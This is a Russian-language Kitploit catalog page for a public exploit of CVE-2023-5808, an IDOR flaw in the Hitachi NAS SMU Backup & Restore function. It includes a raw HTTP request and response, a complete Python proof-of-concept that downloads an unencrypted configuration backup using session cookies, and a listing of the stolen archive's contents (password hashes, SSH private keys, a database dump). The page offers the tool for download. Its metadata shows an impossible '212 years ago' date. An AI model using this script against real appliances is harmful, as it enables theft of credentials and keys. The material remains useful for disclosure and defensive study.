Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-5808 — Эксплойт для CVE-2023-5808, IDOR-уязвимость в Hitachi NAS SMU Backup & Restore, позволяющая несанкционированную загрузку конфиденциальных резервных копий конфигурации. | Kitploit
Инструменты/GitHubGitHub/arszilla/cve-2023-5808
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииТестирование на Проникновение
GitHubarszilla/cve-2023-5808

CVE-2023-5808

Эксплойт для CVE-2023-5808, IDOR-уязвимость в Hitachi NAS SMU Backup & Restore, позволяющая несанкционированную загрузку конфиденциальных резервных копий конфигурации.

Репозиторий
212 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-5808

CVE-2023-5808 — это Insecure Direct Object Reference (IDOR) уязвимость, обнаруженная в функции Backup & Restore System Management Unit (SMU) Hitachi NAS (HNAS). Эта уязвимость затрагивает версии SMU до 14.8.7825.01.

Эксплуатация

Для эксплуатации этой уязвимости атакующему необходим контроль над учетными данными учетной записи, которая не является Read-Only или Global Administrator, а именно:

  • Storage Administrator
  • Server Administrator
  • Server + Storage Administrator
  • По замыслу, пользователи с ролью Global Administrator должны иметь доступ к функции Backup & Restore в SMU, расположенной по адресу https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored, и отправлять следующий запрос, который создаст и загрузит (незашифрованную/без пароля) резервную копию:

    root@kitploit:~
    GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
    Host: REDACTED
    Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Dnt: 1
    Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    Te: trailers
    Connection: close
    
    

    В случае успешного запроса SMU отвечает следующим ответом и начинает загрузку smu_2023-04-12_1543+0200.zip:

    root@kitploit:~
    HTTP/1.1 200 
    Cache-Control: PRIVATE
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Strict-Transport-Security: max-age=31536000;includeSubDomains
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
    Pragma: cache
    Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
    Content-Type: application/download
    Content-Length: 1831412
    Date: Wed, 12 Apr 2023 13:43:15 GMT
    Connection: close
    Server: SMU
    
    [DATA]
    

    Однако из-за недочета в бизнес-логике SMU атакующий, имеющий доступ к учетной записи Storage Administrator, Server Administrator или Server + Storage Administrator, может обновить куки JSESSIONID и JSESSIONIDSSO, чтобы они совпадали с куками пользователя, которым он владеет, что позволяет ему загрузить архив резервной копии.

    Таким образом, для эксплуатации этой уязвимости можно использовать скрипт, например CVE-2023-5808.py:

    root@kitploit:~
    #!/usr/bin/python3
    #
    # Title:            Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability 
    # CVE:              CVE-2023-5808
    # Date:             2023-12-13
    # Exploit Author:   Arslan Masood (@arszilla)
    # Vendor:           https://www.hitachivantara.com/
    # Version:          < 14.8.7825.01
    # Tested On:        13.9.7021.04        
    
    import argparse
    from datetime import datetime
    from os import getcwd
    
    import requests
    
    parser = argparse.ArgumentParser(
        description="CVE-2023-5808 PoC",
        usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
        )
    
    # Create --host argument:
    parser.add_argument(
        "--host",
        required=True,
        type=str,
        help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
        )
    
    # Create --id argument:
    parser.add_argument(
        "--id",
        required=True,
        type=str,
        help="JSESSIONID cookie value"
        )
    
    # Create --sso argument:
    parser.add_argument(
        "--sso",
        required=True,
        type=str,
        help="JSESSIONIDSSO cookie value"
        )
    
    args = parser.parse_args()
    
    def download_file(hostname, jsessionid, jsessionidsso):
        # Set the filename:
        filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
    
        # Vulnerable SMU URL:
        smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
    
        # GET request cookies
        smu_cookies = {
            "JSESSIONID":       jsessionid,
            "JSESSIONIDSSO":    jsessionidsso
            }
    
        # GET request headers:
        smu_headers = {
            "User-Agent":                   "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
            "Accept":                       "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language":              "en-US,en;q=0.5",
            "Accept-Encoding":              "gzip, deflate",
            "Dnt":                          "1",
            "Referer":                      f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
            "Upgrade-Insecure-Requests":    "1",
            "Sec-Fetch-Dest":               "document",
            "Sec-Fetch-Mode":               "navigate",
            "Sec-Fetch-Site":               "same-origin",
            "Sec-Fetch-User":               "?1",
            "Te":                           "trailers",
            "Connection":                   "close"
            }
    
        # Send the request:
        with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
            with open(filename, 'wb') as backup_archive:
                # Write the zip file to the CWD:
                backup_archive.write(file_download.content)
    
        print(f"{filename} has been downloaded to {getcwd()}")
    
    if __name__ == "__main__":
        download_file(args.host, args.id, args.sso)
    

    Обоснование оценки CVSS v3.1 7.6 можно лучше понять, изучив содержимое smu_2023-04-12_1543+0200.zip:

    root@kitploit:~
    $ tree -a
    .
    ├── adc_replic
    │   ├── backup.properties
    │   ├── mig_policies
    │   │   ├── MIGR_TEST_POL
    │   │   │   ├── 1
    │   │   │   │   ├── config
    │   │   │   │   └── lockfile
    │   │   │   ├── config
    │   │   │   └── lockfile
    │   │   └── next_schedule
    │   ├── mig_rules
    │   │   └── MIGR_TEST
    │   ├── pkgHandler.xml
    │   ├── replic_policies
    │   ├── replic_rules
    │   ├── replic_schedules
    │   │   └── next_schedule
    │   └── replic_scripts
    ├── backup.properties
    ├── mgr
    │   ├── axalon.properties
    │   ├── backup.properties
    │   ├── banner.txt.disabled
    │   ├── managedservers.json
    │   ├── pkgHandler.xml
    │   ├── systemmonitor_1.xml
    │   ├── systemmonitor_2.xml
    │   └── systemmonitor_3.xml
    ├── network
    │   └── yp.conf
    ├── postgresql
    │   ├── backup.properties
    │   ├── config_pgdump.tar
    │   ├── pkgHandler.xml
    │   └── rolledupstats_pgdump.tar
    ├── quorumdev2
    │   ├── backup.properties
    │   ├── CB-HNAS1-CLU
    │   │   └── cluster.conf
    │   ├── HH-HNAS1-CLU
    │   │   └── cluster.conf
    │   └── quorumdev2.conf
    ├── quorumdevice
    │   └── backup.properties
    ├── readyToShip
    │   ├── backup.properties
    │   ├── pkgHandler.xml
    │   ├── ssh_host_dsa_key
    │   ├── ssh_host_dsa_key.pub
    │   ├── ssh_host_key
    │   ├── ssh_host_key.pub
    │   ├── ssh_host_rsa_key
    │   └── ssh_host_rsa_key.pub
    ├── server-tools
    │   ├── backup.properties
    │   ├── ldap.conf.rb
    │   ├── massage-commands-for-managed-servers
    │   ├── ypcat-group
    │   └── ypcat-passwd
    ├── smu_users
    │   ├── backup.properties
    │   ├── manager
    │   │   └── ssh
    │   │       └── known_hosts
    │   ├── pkgHandler.xml
    │   ├── root
    │   │   └── ssh
    │   │       └── known_hosts
    │   └── shadow
    └── tomcat
        ├── backup.properties
        ├── nas.keystore
        └── pkgHandler.xml
    
    25 directories, 49 files
    

    Архив .zip содержит различные файлы, касающиеся конфигурации SMU. Включены следующие файлы (но не ограничиваясь ими):

    • Файл /etc/shadow SMU, содержащий хеши паролей CLI всех пользователей,
    • Приватные ключи PEM DSA, PEM RSA и OpenSSH RSA1,
    • Дамп базы данных PostgreSQL.

    Примечания

    Эта уязвимость является «родственной» уязвимостью CVE-2023-6538.

    Ссылки

    • CVE-2023-5808
    • CVE-2023-6538
    • Hitachi Vantara Security Bulletin for CVE-2023-5808

    Хронология

    • 2020-04-12 - Уязвимость обнаружена
    • 2023-04-20 - Уязвимость сообщена на [email protected]
    • 2023-08-11 - Первоначальное присвоение номера CVE
    • 2023-12-06 - Номера CVE переназначены
    • 2023-12-11 - Номера CVE переназначены
    • 2023-12-11 - CVE опубликован
    • 2023-12-13 - Публичное раскрытие
    Скачать инструмент